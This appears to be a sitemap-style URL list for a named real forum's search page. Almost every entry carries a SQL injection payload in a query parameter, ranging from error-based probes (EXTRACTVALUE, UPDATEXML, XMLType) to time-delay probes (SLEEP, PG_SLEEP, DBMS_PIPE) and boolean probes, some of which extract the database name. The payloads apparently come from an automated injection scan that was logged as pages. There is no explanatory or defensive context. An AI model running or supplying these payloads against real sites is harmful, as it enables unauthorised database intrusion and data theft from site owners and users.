http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25%27%29%20AND%2038%3D74%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%2043=71%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=82)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%20'JH'%20LIKE%20'5o 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%20'gn'='WB 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20'Kr'='Kr 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=87)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20'Fm'='Fm 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%20('At'%20LIKE%20'o6 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%2057=89%20AND%20('Gn'='Gn 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20OR%2011=11%20AND%20('LN'='LN 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20('8z'='8z 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=22)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20('kk'='kk 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20(88=88 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(92=73)%20THEN%200x686F74736561726368%20ELSE%200x28%20END))%20AND%20(92=92 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,(SELECT%20(CASE%20WHEN%20(44=29)%20THEN%200x686F74736561726368%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,(SELECT%20(CASE%20WHEN%20(78=55)%20THEN%200x686F74736561726368%20ELSE%2078*(SELECT%2078%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,(SELECT%20(CASE%20WHEN%20(96=21)%20THEN%200x686F74736561726368%20ELSE%2096*(SELECT%2096%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearchAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearchAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearcha' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20(CASE%20WHEN%20(48=78)%20THEN%200x74727565%20ELSE%2048*(SELECT%2048%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20(CASE%20WHEN%20(53=92)%20THEN%200x74727565%20ELSE%2053*(SELECT%2053%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20(CASE%20WHEN%20(57=29)%20THEN%200x74727565%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20(CASE%20WHEN%20(92=92)%20THEN%200x74727565%20ELSE%2092*(SELECT%2092%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20(CASE%20WHEN%20(96=63)%20THEN%200x74727565%20ELSE%2096*(SELECT%2096%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 